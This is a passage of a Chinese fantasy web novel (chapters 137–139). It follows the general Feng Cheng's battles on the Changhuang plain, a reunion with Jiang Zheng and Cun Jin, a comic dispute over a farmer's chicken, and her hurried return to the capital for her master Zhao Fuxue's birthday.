应声而起,一队身着残甲的天机师踏着烟尘,仿佛从天而降的利刃般从天机营地中劈出,而为首之人,正是原本应当四处流亡的天机铁骑副将,秦楚。 “禀报将军,”她高声道,“天机左骁卫副将寸金,已率一百轻骑赶来。” “营内四十二阵修已就位,静候将军指令。” 封澄微微笑道:“你来得不巧,这地方我提前瞄好了,瞧瞧,我的天机大阵的范畴覆盖了天机营外二十丈远,大人带着一帮走卒远道而来,不是只想吃一顿里外包夹的竹板炒饭罢?” 缓缓地,持劫凝住了表情,半晌,他微微一笑。 “你天机铁骑流亡多年,堪用之人死伤大半,岂有这么多人手?况且,你起阵的灵石从哪来?” 封澄故作高深地摇了摇头。 “是与不是,试试便知。” 持劫摸了摸下巴。 向前,若是真如同封澄所说,天机铁骑的阵修已在四周布好了阵,那么他带来的影魔是绝对无力抵挡天机大阵的。 可若是封澄弄虚作假,营中修士,以及他深恨已久的天机军,便会在影魔的利爪下血肉无存。 而他与封澄一对一,彼此牵制,绝对伸不出手来影响战局。 赌赢了,封澄方死,赌输了,他的魔死。 夜晚的长煌大原冷得骇人,灵气与魔气在萧瑟的风下噼啪作响。 乱成一锅粥的营地死寂一片。 “……” 持劫有些犹疑,他抬眼看了看漆黑一片的上空。 若他判断有误,连绵不断的灵力便会从上而下杀死每一只影魔。 他已经在犹豫了,察觉到这点的封澄歪了歪头:“怎么,不撤?” 慢慢地,持劫沉声道:“我还是在想,你从哪里来的灵石,启这样一个大阵。” 封澄微笑:“你管呢。” 赵家提价垄断矿脉一事,早已不是稀罕传闻,现如今的灵石比金子还难求。 闻言,持劫慢慢抬起了头,他看着严阵以待的天机铁骑一行,忽然间发现了什么,唇角微微一勾。 “封将军,”他道,“我承认你骗技了得,险些骗到我了。” 说着,他微微地一招手,身后影魔应声而动。 “天气转寒,天机铁骑却穷得连战甲都是陈旧的,”他微笑,“说真的,我不怎么相信你们会富有到启动一个大阵,或许我更相信几位今夜前来的目的。” 封澄暗骂一声完蛋玩意——天机军穷抠穷抠,克扣到要命头上来挨报应了! 第137章 第137章生辰(附前尘)…… 与此同时,洛京的子夜浓黑,间或有一两声打更的梆子声。 姜徵屏息凝神,小心翼翼地跟着赵负雪的脚步,一路鬼鬼祟祟地贴着墙边,直到进了赵府的大门,才敢松一口气。 没等这口气喘均匀,赵负雪便平静道:“洛京留不得了,你去长煌寻阿澄。” 姜徵还是有些不敢置信:“阿澄真的回来了。” 赵负雪不怎么在意地点了点头:“在此之前,你需谨记,当年帝后殒身之事,一字不可同她提起。” 姜徵一怔,随即愣愣地点了点头。 姜允与旧帝的身死,知讯者只当是赵负雪行凶杀人,除去半根剑骨以作惩戒,而其中秘辛,唯有深宫之人,才得以窥得一二。 浸淫深宫多年,她得知,当年姜允身死,并非为赵负雪所杀。 而是也是出于一根骨头。 “地魔骨,”他好像窥到了她的心事,平静道,“旧帝要地魔骨作交换,恰好我有。” 他体内的剑骨,便是那只地魔的肋骨。 姜徵微微地垂下了眼睛。 “而那根被你取出来的骨头,旧帝用上,发了疯,伤了姨母。” 取出来的半根骨头没有再装回去的道理。 “现在刘润身上的地魔骨,是……是先生当年……?” 赵负雪不置可否地点了点头。 见状,姜徵捏紧了拳头。 地魔骨放在赵负雪身上,是惊世的第一剑修,而放在刘润身上,只是一个懦夫逃避的手段。 “我什么时候可以去见阿澄?”姜徵道,“她……现在还好么?” 赵负雪淡淡地看了她一眼。 平心而论,他对这位姜氏少主的印象并没有好到哪里去,至少何守悟与封澄的婚约与这位姜氏少主脱不了干系,这足以令他对这位小辈没有多少耐心。 “血池是什么样子,”他突然道,“痛苦么?” 姜徵哑了。 赵负雪平静道:“总不会比那更差了。” “明日我会送你离开。”他道,“在此之前,你可以去见一见刘润。他还算清醒,只是什么都不记得了。” 说过这句话,姜徵感觉到自己的心跳渐渐加速,机会跳出了喉咙,姜徵的手指深深地扣进了掌心,良久,她才听见自己的声音,这声音干涩得令人发抖。 “我去见他。” 赵负雪点了点头,片刻,一侍从上来,引着魂不守舍的姜徵走出了正堂。 刘润在赵府呆了这些日子,吃也吃得香,睡也睡得好,时不时地还有人上来把脉问安,他叼着鸡腿躺在榻上,自觉皇帝过的日子也不过如此,哪里还想得到与他灵力相合的封澄? 真相嘛,不重要。他一边撕着鸡腿一边这样想着,有吃有喝,没病没灾,这不比真相要紧得多? 忽然间,门响了。 刘润一个鲤鱼打挺从床上滚起来,呸一口吐出鸡腿,再胡乱地擦了擦沾到床铺上的油渍,才脚下生风地滚到了桌案一旁。 莫名地,他对带他进来的那个白衣男子有些犯怵,连带着一身乞丐似的做派都在他面前收敛了许多,好似生怕污了这谪仙的脸,再被恶狠狠地扫地出门似的。 可今夜走进屋中的,却不是他最为惧怕的那个冷淡的男子。 而是一个十分美丽的年轻姑娘。 登时,刘润吓得猛然站了起来,当即舌头也捋不直了,结结巴巴道:“你,你你走错门了?!” 他的大脑在飞速运转——这家人好吃好喝地把他供着,一边请他吃饭,一边给他洗衣,一边还挂心他的身体,饱暖有了,那么淫///欲也不远,给他送个妙龄的美丽女子似乎也是不奇怪的。 可刘润此时只想跪地求他把人带出去——他只图吃饱穿暖,哪里有这个需求啊! 正在他飞速想着应对之策时,那女子一见他,却陡然地红了眼眶。 一见这双红眼眶,刘润飞速运转的大脑立即宕机,心头仿佛被狠狠的扯了一把似的,连身体都不听使唤,小心翼翼地凑上去:“……姑娘?” 姑娘抬眼,目光霎时一厉,紧接着啪地一声,一记耳光便狠狠地抽在了他的脸上! “……?!”刘润捂着脸惊惶而茫然:“等等,你——” “啪!!!” 又是一记狠狠的耳光! 她样子瞧着清秀柔弱,下手的狠绝却离奇无比,刘润即便是泥人也被打出三分惧意来了,见门口又走进一人,也不管这白衣男子是不是他最不敢靠近的人了,当即屁滚尿流地过去抱他的腿:“大大大大人!这个女人一进门就打我啊!她是谁啊?” 见他一脸眼泪鼻涕地去抱赵负雪的腿,姜徵更怒了:“你这个胆小如鼠的畜生。” 见她似乎又要打,刘润屁滚尿流地惨叫道:“停!有什么话能不能讲明白了?你上来就大嘴巴子招呼着,至少叫我死个明白啊?” 赵负雪淡淡地看了他一眼:“我留他的骨头有用,不要杀了。” 说罢,他眼皮都没抬一下,刘润便骤然通体冰凉,紧接着僵硬如冰坨子般栽倒在了地上。 姜徵冷冷道:“我今日 来,也没有和一个什么都不敢记住的人争论旧事的意思,这两巴掌是替阿澄打的,打他识人不清,打他懦弱无能。从此以后,我与此人再无瓜葛。” 赵负雪平静道:“既如此,那便启程罢。” 刘润在地上打滚哀嚎,吱哇乱叫。 姜徵道:“走哪条路?” 赵负雪微微垂眸。 “走汉水,”他道,“阿澄当年得胜归京,走的那条汉水道,关口我已打点好,那条路最快。” 骤闻此言,姜徵有些怔住了。 她一时之间,竟然想起了封澄初初回京时,是如何一番踏马春风的模样了。 **** 天机军的头次胜仗打得并不容易,直到结束的那一刹,封澄身上的疲累才后知后觉地涌上来。 待开完了庆功宴回到帐中,封澄便见军帐中坐了两个格外熟悉的故人,当即眼睛有些亮:“我说副将怎么急吼吼地呢,原来是寸师兄和你?” 寸金正背着手,小心翼翼地在封澄的军帐中参观,正全神贯注地研究着一块骨头呢,闻言便起身笑道:“一去小半年没见了,师妹,打得可辛苦?” 姜徵看着清瘦了许多,只微微一笑。 封澄心领神会,上去轻轻地拥了她,轻声道:“怎么你也来了?” 姜徵把下巴放在她的肩上:“心里不痛快。出来走走。” 封澄点了点头,转身把重甲卸下,接过副将的皮口袋便咕咚咕咚往下灌水,寸金耐心地等她灌完,才见她一抹嘴道:“别提了,一帮少爷兵,打得唧唧歪歪,上司也有病,脑子和有水似的,一帮小小影魔,险些给这群少爷打没了裤衩。” 好下流的比喻。 寸金额角微微一跳,面上仍微笑道:“啊,怎么说也是胜仗了,洛京一得到消息,便高兴得不得了呢。” 封澄整理武器的手陡然地一僵硬。 她微微垂了垂眼睛:“是谁高兴?” 寸金:“?” 封澄顿了顿,有些恼羞地补充道:“总不能是整个洛京的人都高兴吧!一个小仗,犯不着。” 这可不算是小仗了,若非封澄所率军队横插入敌军后排,怕是屠城之祸都逃不过。 闻言,寸金才后知后觉地品到了封澄的言中之意,当即有些意味深长:“哦,你想要谁高兴?” 封澄:“……” 封澄扭过头去,面无表情道:“不说拉倒,来人,送客。” 寸金哈哈大笑道:“都高兴,年院长一开始还气你不辞而别,招呼都不打就来天机军了,现在听闻你得胜的消息了,高兴得连开了几壶好酒,陈还更不必说了,若非我求她留京筹备庆功宴,她保不齐要拿阵盘飞来找你。” 顿了顿,他又补充。 “你师尊也很高兴。” 闻言,封澄骤然亮了眼睛,偏生又掩饰地撇了撇嘴,道:“谁稀罕,他从天牢里出来了么?” 寸金面上带着跳不出错的微笑:“是啊,眼见着他的生辰要到了嘛,新帝又是明事理的人,误会一场,便把人送回去了。” 闻言,封澄猛地站了起来:“生辰?” 寸金微笑着点点头:“小将军打仗打得昏了头,连师尊的生辰都忘了。”见封澄神色微动,他又道:“怎么样,肯不肯回京?你也真是,陈还写了多少封信求你回京呢。” 陡然地,封澄甚至有些手足无措起来,她两眼在军帐中扫了扫,试图在帐子中寻到一两个能作为生辰礼物赠上去的宝物,可四处环顾,不是天魔骨头就是沙坑里刨出来的矿石,要么就是上司赏下来的宝剑长枪,这么一扫,竟然没有能送上去的! 怎么就忘了师尊的生辰呢! 寸金微笑:“这次你的庆功宴和你师尊的生辰撞到一块去了,肯不肯回京,你可得想想了。” 姜徵点了点头,很是苍白的模样,封澄思忖片刻,还是叹了口气:“行吧,你俩留宿么?我看看今天能不能开个小灶。” 姜徵与寸金对视了一眼。 这个军帐虽说是单人的帐子,但看起来又小又破,连外投放的隔风毯子都是破洞的,看得出封澄是尽力打扫过了,里头不堪入目的窘态也用大大小小的骨头佩剑之物装饰上了,瞧着还挺利索,可才去中军帐拜访过的二人,自然是明白这末将与主将的天壤之别。 她的帐子里连个桌案火盆都没有,用来放饭碗的大概是哪个前辈不用的旧箱子,里头还能放两件衣物似的,坐垫更不用说——她自己拿草塞了两个鼓包,就当是坐垫了。 这种状况下还敢开小灶,虽说能开,但免不了要给她添麻烦,说不准还要被不服的下属添什么流言,寸金与姜徵不约而同道:“出去吃吧?” 封澄回过头:“嗯?” 姜徵笑笑:“洛京惯闷着,什么东西都吃腻了,只有些新鲜现烤的野味没吃过了,长煌不是常有野兽么?我们又打又吃,好不好。” 封澄犹疑道;“能吃倒是能吃,但不一定能打着什么好的。” 寸金道:“小瞧了你师兄的飞刀?不是说大话,三尺之内我不如你,三尺之外,你不如我。” 闻言,封澄哈哈大笑:“行啊,十八金刀寸师兄?听说还当上今年天机院的结业魁首了,亮一手给我看看啊。” 三人一同向外出去,寸金哈哈一笑:“那老头子吹的?这魁首哪有什么意思,你若在,兴许是你的。” 封澄撇嘴:“少来了。” 嘻哈地出了营地,往山野中走去。 半个时辰后。 姜徵揶揄道:“即便是十八金刀这等巧妇,也苦于无米之炊。” 封澄干笑着擦了擦汗:“我记得这一片好东西很多的,什么野羊啊,兔子的。” 忽然间,寸金道:“哎,那儿有个山鸡。” 山鸡? 还没等封澄想明白长煌大原这种地方哪里来的山鸡时,寸金的金刀已经毫不犹豫地出鞘,紧接着一线明亮的刀光直直地冲向了方方才露了个头的山鸡上,金刀奇准,那鸡连叫都叫不出一声来,便扑腾着翅膀栽倒在了地上。 “不愧是十八金刀,”封澄上去捡了山鸡,惊叹道,“一枚金刀穿了山鸡双目,果然了得。” 不过问题还是回来了——长煌大原哪来的山鸡? 显然地,姜徵也意识到了这个问题,她走了两步上来,打量片刻,迟疑道:“红羽鸡,似乎不是长煌本地的鸡。” 寸金:“……” 三人面面相觑,身后陡然爆发出一阵惊天哭喊:“是谁杀了我的鸡啊!这可是我用来养老送终的鸡啊!” 姜徵:“……” 片刻,三人一字排开,在气咻咻的老人的鸡舍前老老实实地鞠躬认错。 “老人家,”封澄诚恳道,“我们要是知道这鸡是您养的,一定连刀子都不会出手,保管绕着它走得远远的,连碰都不会碰一下。” 老头子气得把头一扭:“这不你们已经碰了么!现在说这些屁话有什么用!” 封澄长这么大还是头一次被人指着鼻子骂屁话,被训得头也不抬,姜徵平静道:“这鸡多少钱?我十倍赔。” 老人仍旧是气咻咻:“有钱?就你有钱?有钱了不起?” 姜徵:“……” 姜徵的拳头紧了紧——她的价值观令她无论如何也想不明白,这普天之下,怎么会有一个老头放着十倍赔偿不要,反而要一只走路都打哆嗦的鸡。 始作俑者寸金道:“对不住,老人家,您要什么只管说,我一人做事一人当。” 这一句话令老头冷笑了起来;“呦,你们一个接着一个抢着揽罪名,怎么,我成了恶人了?我丢了我的命根子还不兴恼了?喂,就你本事大,就你能杀鸡?” 一只鸡,又不是不肯赔他,偏生这老头好说歹说都不撒嘴,就这么把他们三人吊在这儿站着不让走,眼见着天色将晚,军营门禁,封澄心想:“再不回去要挨军棍了,还在这里掰扯一只鸡。” 于是她冷冷道;“我是隔壁天机营的封澄,既然答应了赔你,便不会赖账,你要怎么个赔法 ,赔钱赔物,想明白了去天机营报我名字,总归不会少了你的。” 说罢,她拱手道:“老人家,我们告退了。” 说着,她左右手一手一个,拉着人就要往外走,谁料见他们三人要走,那老头反而急了眼,抖着不利索的腿就要上来抓人:“不……不准走!我让你们走了么!” 一个老头,拉拉扯扯,姜徵还是个姑娘,被他一抓脸都青了,封澄深吸一口气,从怀中掏了二两银子,重重地放在了鸡舍顶上,便撸起了袖子。 “现在是我打算把你的医药费和鸡一起赔你,”她咬牙切齿道,“我数三下,再不松手,我的医药费也要你赔。” 就她拉扯老头这一下,被他闹大了告,是能扣她一个私斗的名头的。 私自斗殴,夜不归宿,没三十军棍绝对下不来,那上司心狠手黑,老早瞧她不顺眼,封澄简直要被这只鸡弄得抓狂了。 正拉拉扯扯间,院子外忽然传来了一阵骚动,封澄一众抬起头来,只见一串火把鱼贯亮起,陆陆续续地停在了院子前。 她停下手,有些疑惑。 寸金夜视极佳,看了看,轻声道:“瞧着来者不善。” 为首那人大笑着道:“老爹,您这房子一个人住着多没意思,早晚也就个鸡作伴,不如早拆了给您儿作地皮,您去儿子堂屋,自有千万好日子过呢。” 老头抖着脚怒道:“老子没你这样的儿子!我鸡一叫,老天便睁眼瞧啦!瞧瞧你这不肖子孙怎么祸害亲爹的!” 那村人当即哑了。 姜徵小心翼翼地拉了拉封澄:“他怎么一听这个就不说话了,谁信?” 封澄道:“长煌信仰苍天,我们相信太阳和月亮是苍天的眼睛。” 能叫出太阳的鸡,则是勤勤恳恳的审判官。 老头中气十足道:“滚,快滚!不然老天可开眼了!” 谁料那人不走,反而小心谛听片刻,慢慢地笑了。 “哎,老爹,你的鸡呢?今天怎么不叫了?” 老头子深深地看了封澄三人一眼,长长地叹了口气,抬手示意他们快滚,轻声道:“我没想到这孽子今天带了这么多人,走吧。” 姜徵视线移向了封澄,急着要走的封澄却没有动弹,反而开始把腰间的令牌,身上的重甲飞快地卸了下来。 “你这是要干什么?”寸金奇怪道。 “打架,”封澄干脆利索,“哎,你干什么?” 姜徵把天机腰牌摘下,丢到了身后。 “打架哎。”她平平静静道。 第138章 第138章红绳 姜徵睁开眼睛时,外面天光已经大亮,她躺在并不柔软的榻上,圆圆睁着双眼,怔怔地看着摇晃的车顶,半晌,长长地松了口气——赵负雪备的车马行起来十分平稳,害得她梦到了少年旧事。 那架还是打了,三个修士,没用半点灵力,拳拳到肉地和村民们干了一架,仨人全部挂彩,封澄一瘸一拐地回了营,果然被上司打了军棍。 可现如今,姜徵只记得那夜老头烤的鸡味道很糟,封澄作怪的惨叫很好笑,得幸三人摘去的腰牌,并没人告状。 这是她在深宫中聊以咀嚼的余罪。 她已经离开了那座皇宫么?已经在孤身前往长煌的路上了么?姜徵仍觉得有几分不真实,撩帘一看,作商人打扮的赵府侍从便低头过来:“姜姑娘。” 就着辘辘的马车声,姜徵恢复了平静从容的模样,心中却枯木逢春般生了几分期待:“离长煌还有多远?” 那侍从长得倒是令人眼前一亮,他轻骑骏马,平稳地走在她的马车旁:“还剩一程,只是前头关卡突然被锁了,我们得抄小路,故还需耽搁一日。” 姜徵微微点了点头,合上了车帘。 并不意外,宫中不都是木头,至少何守悟和刘不平不是蠢人,能令她不顾一切地出宫的缘由不多,长煌的消息是一个。 赵狩的声音隔着帘子透来:“属下赵狩,护送姜姑娘。此道风沙颇大,望姑娘躲避其中,不要贸出。” 再大的沙子也吃过了,姜徵垂了垂眼睛。 一行车马从子夜行到黎明,又从黎明行到了另一场子夜,秋深了,长煌大原的风尖厉如狼嚎,呜呜有声,过大的风沙砸得车头所挂天机灵器明明暗暗、摇摇欲坠,无奈之下,赵狩道:“姜姑娘,风沙太大,我们寻个洞穴避一避。” 他在外更是难挨,姜徵并非不怜下的人,闻言,点了点头。 几度挪转,一行车马才艰难地寻到了一块得以避风的巨石,这块巨石深陷在沙中,幽暗深邃,仿佛一口张开的巨嘴般,一行车马在洞中一走,甚至能听到洞中回声。 风沙大得很。赵狩抬头看了看,皱了皱眉:“引路灯有些暗了。” 他摘下了引路灯,姜徵闻言,从马车上下来,正要去细看灯上阵法,却听洞外的风声中杂了几声嘈杂的谩骂,二人对视一眼,不约而同地屏息,悄然无声地摸向了腰间武器。 是敌是友? 姜徵屏息,吵闹声越来越近:“遭瘟的沙!好容易开了个大户,偏偏闹这个!” “哎,今日赚不了,明日再赚。总归商路摆在那,又不能跑了不是?听说天机营最近遭了袭,想来是无暇管顾旁事的。” 是商人吗?姜徵眯了眯眼睛,余光却瞟见一旁的赵狩神色骤然警惕了起来。 “沙匪。”他轻声道。 几人骂着挤进了洞穴,一见马车,果然警惕起来,为首那人眉心压了压,拖着长声道:“哦?原来有早到的朋友?不如出来见上一面?” 姜徵咬牙——她的长刀不在身边! 赵狩显然也是纤细模样,看起来并不是主攻战力的修士,他凝神按着腰间长剑,沉声道: “沙匪手段阴损,且成群结队,处处棘手,我保不了你。” “姜姑娘,一会儿打起来,你去马车上掰开座椅,下面有尊者备下的法阵符器,能护你到救援赶来。” 姜徵一怔,赵狩聚精会神地盯着慢慢地向二人藏身处走近的沙匪头子,沉声道:“朋友,我等到此投奔亲戚,误入了风沙,故在此歇脚,并无冒犯之意。” 闻言,对面沙匪脚步顿了顿。 还未等二人松一口气,他却冷笑两声,逼近的步伐似乎更快了些:“哦?我并无意为难两位,只是避面不出,是否缺了诚意呢?” 他知道这里有两个人!赵狩当即紧张起来——这是个高手。 沙匪笑了笑:“这马车是烧灵石的罢?投奔亲戚的穷人,坐这种车?” 不好! 赵狩果断道:“起!” 剑阵陡然如明光般照亮了这片昏暗的洞穴,沙匪也趁机看清了二人的藏身之处,冷笑一声格开了剑阵:“不自量力。” 情急之中,赵狩也顾不得其他了:“我乃赵氏家臣,若出事,赵氏不会放过你。” 赵氏? 能不加任何前缀、底气十足地脱口而出的赵氏,除了京城那个隐世已久的世家,还有哪个? 谁料此言一出,身后的几个沙匪反而哈哈大笑起来。 “他脑子进水了,赵氏?天高皇帝远,他赵氏哪怕有滔天的本事,也管不到长煌来!且别说是不是真的了!你若说是天机军的人也行啊?哈哈哈哈!” 为首者心情颇好:“天机军算什么狗屁,那帮脓包成事不足败事有余。你以为还是几十年前的时候?此时别说天机军了,就是天机铁骑来了,那呆将军来了,我都不怵!爷爷是狼头沙匪帮的人!” 呆将军? 姜徵轻声道:“崔霁为人正直,到你嘴里竟成了呆子。” 话音未落,洞穴外陡然滚进了几个满是沙子的人,沙匪齐齐回头,愣怔间,只见那几人抬起头,呸呸几口道:“将军,这儿!这儿能避沙!” 紧接着又是几道沙风滚进来,皆是狼狈不堪,破衣烂甲的,最后进来的人更是诡异— —这人身上鼓着足以熏死人的魔气。 沙匪也回过神来,当即不满地嚷嚷着:“喂,没看见里面有人啊!上哪来的猎魔人,滚出去!” 为首男子好脾气地道:“我等并非猎魔人,只是同伴为魔所伤,还请诸位……” 沙匪不耐:“满了,满了!没瞅见这么多人么!滚滚,再不滚打你们出去。” 男子还待再辩,那滚着魔气的女子却伸手拦住了他,她歪着头打量了片刻,道:“沙匪?” 声音有些沙哑,并不十分清晰,但能听出是年轻女子的声音。 沙匪怒道:“废话忒多,不滚?弟兄们,动刀子!” 那人却慢慢地笑了:“我多少年没见着敢在我前面动刀的沙匪了。” 陡然地,洞内沙风一厉。紧接着,她身后那几个看着灰头土脸的沙人也慢慢地站了起来。 森然地,井然有序地站在了他们前面。 这熟悉的秩序令沙匪老大心头忽然地咯噔了一声,正待他开口询问之时,那好脾气男子平静道:“天机左骁卫副将寸金,听将军令。” 堵在洞中的姜徵与赵狩刹那间愣住了。 “格杀。” 话音落下的刹那,血光蓬然绽在了为首沙匪的颈上,他甚至来不及用灵力护体,甚至来不及从贫瘠的大脑中抠挖出上次听见这道指令是何时何地,浑黄的双眼便死不瞑目地埋在了血泊之中。 在大漠的沙匪最凶悍之时,一人,一骑骏马,身后数十亲卫,将当年凶名赫赫的狼头沙匪帮杀得只剩了几个孩子。 他是那孩子中的一位。 将军杀死他的父母、兄长、师友时,也是这样冷冰冰的语气。 逆着如血的残阳,披着血红战甲的、数十年前就被宣告死去的将军。 她活着。 ……啊,他终于记起来了。 紧接着,身后的沙人们训练有素地上前,众沙匪明明身经百战,可所有的招式、所有的路数却都被这几个灰头土脸的沙人看透了,甚至连最后的自爆灵力都被预估到了,等最后一个沙匪被掐着灵力按死在地上的浮沙时,距离那句“格杀”,不过短短几息。 做完这一切,封澄淡淡道:“丢到洞外,等天鹰和狼来吃。” 赵狩感觉到自己的心跳在渐渐地加快,他不由自主地吞了吞口水,在黑暗中目不转睛地看着她随意坐在了石壁前,扬手饮了皮口袋的水,才道:“二位也是沙匪?” 平息着胸口的心跳,赵狩方要说话,一旁的姜徵却一言不发,忽地走了出去。 在长煌混了这么久,不是和天魔打交道,就是和沙匪打交道,只一照面,封澄便能认得出来,于是自然知道洞中另外的两道呼吸不属于其中的任何一类,她一边喝水,余光一边扫到了从阴影中犹豫走出的人,只一眼,她便傻了。 “……” 女子的目中燃着喷然的怒火,悲喜冲头,几乎被逼出了走火入魔的先兆,她反手拔出了赵狩腰间佩剑,声道:“你他**的,还知道回来!!!” 这一剑来得可谓是去势汹汹,极有姜徵当年死不回头的风范,封澄傻了眼,下意识往下一矮身,那剑直直削过她发顶,在她身后的石壁上刻出了一道深可见骨的痕,封澄回头看了一眼,傻了:“你来真的?” 她在进洞前头上刚才还顶着角呢!要是挨这么一下,这会儿就不是独角,是半截角了! 思及此处,封澄勃然大怒,从地上捡了一把叮当乱响的铁剑,上去就和姜徵打成一团。一旁的赵狩目瞪口呆,小心翼翼地问道:“……会出事吗?” 秦楚和寸金对视笑笑,摇了摇头。 越打,姜徵越是高兴,双刃剑用出了单刃刀的一往无前,封澄叫好:“这么多年,我还以为你只顾做娘娘了,眼下一瞧,尚能过眼。” 修士而言,容貌可作假,身份也可不论,唯有手把手的过招,是毋庸置疑的。 战得刀光剑影,突然,一声脆响,竟是封澄捞的破剑半路不堪重负,咔一声折断。她两指捏住姜徵递过来的剑尖,大笑道:“收手,是你赢了。” 姜徵心里清楚——这才哪里到哪里?封澄甚至没用枪。 待众人一道在火前坐了,封澄才瞧见了一旁的马车,只一见,她便认了出来,当即脱口道:“他送你来的?” 姜徵意味深长地看着她:“他?他是谁。” 封澄回过味来,掩饰地错开了视线:“……赵负雪,赵负雪把你送到长煌做什么?话说回来,你这么出宫没问题吗?” 姜徵微微笑道:“没问题,有问题的是赵负雪。” 封澄平息了略快的心跳,从姜徵得出了此行的来龙去脉,她目光不由自主地移向了一旁的马车,莫名地有点走神。 ……赵负雪深夜入宫带出姜徵,就因为笃定皇帝要死了? 说着,赵狩犹疑片刻,也开口插了话。 “大概不仅于此,尊者近年来采购大批灵石,已垄断多处矿脉,可灵石送来,却未见消耗之处,账面十分奇怪。此事也应当同将军告知。” “……还有这个。” 封澄抬头,见赵狩起身进了马车,片刻,从中取了一封信来。 “这是尊者嘱咐我送到的。” 封澄奇怪地拆开竹筒,从中一倒,倒了一条红绳,还有一张素白的纸来。 一见那红绳,她心中便有了几分诡异的熟悉感,再一打开信,诡异的熟悉感彻底落实。 “你手上原有一条,”他写道,“望你垂怜,今日补上。” 她空荡荡的手腕上,原本该有一缕赵负雪的长发。 “以为你不知道呢,”封澄莫名想找条地缝钻进去,恨得牙痒,“装得倒是正经得很。” 封澄不敢深想,她上辈子是怎么敢戴着这条红绳和他势不两立的。 赵负雪仿佛料到了她这般反应,继续向下写,封澄盯着信,越往下看,越是要烧起来,姜徵看了看她,目光转向了她身后的天机铁骑,善解人意地岔开话题道:“你们这是去哪里了,怎弄得这么狼狈?” 闻言,身后的秦楚眼睛亮亮的:“太后娘娘不知吧?刚才我们可是打了一场胜仗呢。” 封澄顶着大红脸回神,哭笑不得道:“哎,留点面子。” 第139章 第139章美人 姜徵奇道:“为什么是留点面子?” 秦楚哈哈一笑:“将军闹空城计骗人呢,险些忽悠成了,偏在穷上露了馅。若非将军提前放了花火,唤来了寸金,天机营的草包少说要死一半。” 姜徵闻言,看了看一旁温和好说话的年轻将军,似乎是奇怪寸金何时有了这番本事,闻言,寸金只笑笑:“影魔没什么神志。而我的眼睛取自持劫,前几日才装上的,新鲜得很,它们误以为有二主,乱了阵脚。” 封澄幽幽道:“都说了,空城计是幌子。” 夜间的风沙渐渐平息了许多,一群人在洞中生起了火,姜徵煮着带来的酒,听完封澄一行劫走补给的来龙去脉, 便就着火光摸了摸下巴,若有所思道:“我并没听说持劫复生一事,竟然已经半年了么?消息是并未传到朝中,还是被拦下了。” 封澄凉凉道:“都说了勾结天魔的另有其人,还非把屎盆子扣我头上。” 姜徵瞄了她一眼,也凉凉道:“若非你又横又犟,一日日的恨不得把天也捅了,我也犯不着给你收拾这么久的烂摊子,你以为我好过。” “多谢你了,”封澄瞧也不瞧她,“我背上还有你的人打出来的疤。” “那是你自找。” 一说起前尘旧事,二人皆有些横眉立目,寸金连忙打圆场:“听说尊者身体康健了?这可真是难得,当年什么法子都用了,也无济于事,现如今竟自己好了。” 闻言,封澄轻轻地攥紧了袖口,被一旁的姜徵敏锐地察觉。 姜徵看了一眼封澄,饮了一口酒,淡淡道:“说句不尊重的话,他是自己找的。” 一旁的秦楚在这句话中品到了几分别样的滋味,忙凑上来道:“太后娘娘,您喝多了。” “喝得不多,”她慢慢道,“明日还起来赶路,只怕有人要睡不着。” 封澄手指却怔怔地垂在火边,连何时烧得黑了也未发觉分毫。 说来,赵负雪身体开始转衰,大概是她的罪过。 *** 一到繁华时候,京城的官路就堵得无法无天,封澄顶着一背的伤,带着好不容易选出来的生辰礼,望着入关的人群脸色发青,她忍不住问身旁的路人道:“劳驾,有没有快一点的路了?” 路人笑呵呵道:“您急么?不急就再等等,汉水那里的小道倒是能走,只是穷乡僻壤的,你一个姑娘家,还是莫要……” 话音未落,封澄当即抱拳谢过,随即打马回头,只听一声马嘶,她一人一骑,头也不回地向着路人所指的小路奔去了。 “等不了,”远远地有笑声飘来,“我急着回去见人呢。” 看着少女的身影渐渐消失在路得尽头,另一路人笑道:“这么急,见心上人罢?” “想必是呢,瞧瞧,那么高兴。” 如若那倒霉催的上司没有扣了她工资,她倒是能找个快车回京,奈何那损人唧唧歪歪不给,非要等人齐回京时再一齐论功行赏,眼见着赵负雪的生辰要到,她也不管三七二十一了,一提牛粪涂了那上司的帐门,便骑快马上了路。 阔别许久,洛京城外繁华依旧,封澄快马加鞭,星夜兼程,总算在赵负雪生辰的前三日回了京城。 官道上西街,行人喧闹,触目间便是金雕玉砌的盛世风华。路旁花楼的弹唱呢喃入耳,还有戏坊中咿呀曲声,恍然间封澄竟只觉塞外风沙不过错觉,富贵软红尘才是此世本貌,她皱了皱眉,总觉得在这街上走得别扭,于是扬鞭一挥—— “诶,大功臣得胜归京喽!” 街上不知何处冒出一道尖锐的人声,紧接着又不知何处涌来一波穿着大红喜庆的人,追围堵截似的,团团地围在了封澄的马前。 热闹街头行此阵仗,不可不谓之夺目,几乎在瞬间,西街上的人齐齐地看了过来。 “见了活鬼,”封澄急急勒马,忍不住骂道,“你们是什么人!赶紧让开!” 那行人却像是撒泼耍赖似的,悄然道:“大人在外立了功,发了财,总不能不叫人喜庆喜庆。” 封澄只觉得莫名其妙,正待开口再问,却见远远处忽然抛来一只素色的锦囊,正正地丢进了那群人堆中。” “?” 封澄循迹看去,目光锁定在了一旁戏坊的二楼戏台上,一年轻的素衣男子戴着半副面纱,显然就是方才抛出钱袋之人。 他虽说只露出了一对眼睛,但仍旧遮不住身上那令人移不开视线的风华,清冷端然、从从容容,只道:“领了喜钱就去吧。” 喜庆装束的一群人掂了掂那只锦囊的分量,露出了满意的神情,道:“哎,多谢沈公子。”随后陆续散了去。 随着人流散去,封澄站在长街上,一抬头时,便有些怔怔。 素衣男子道:“下次再走这条街,记得身上备些喜钱。” 说罢,他转身就要离去,封澄连忙叫住他:“哎,你的钱怎么还你?” 方才那一包看起来颇具分量的模样,想来少说得值她半个月的军饷。 素衣男子淡淡道:“有缘自来相见。” 封澄的手停在半空,目瞪口呆:“……” 有鬼吧,撒钱呢。 方才这出闹剧果然还是惊动了手眼通天的世家,封澄骑马走到天机院前,还没进门,便见了候在这里的人。 “哎?你怎么来了?”她翻下马来,擦了擦汗,眯着眼笑:“来得正好,替我搬东西,我师尊在院子里吧?” 站在门口的正是姜徵,只是不知为何,她脸上微微有些红,也有些气喘,仿佛刚从哪里赶来一样。 “忘了同你说了,”她看起来有些情绪不对,“西街那边有讨喜钱的,你轻甲都不脱,还孤身一人提前回来,不是给人送钱么。” 封澄打了个哈哈混弄了过去:“有个路过的好心人助了我一手,不妨事的,我师尊呢?” 姜徵道:“尊者自出宫来,便一直在赵府中修养,我也许久未见他了。” 封澄一听,立刻就要再上马,衣角却陡然被姜徵拉住。 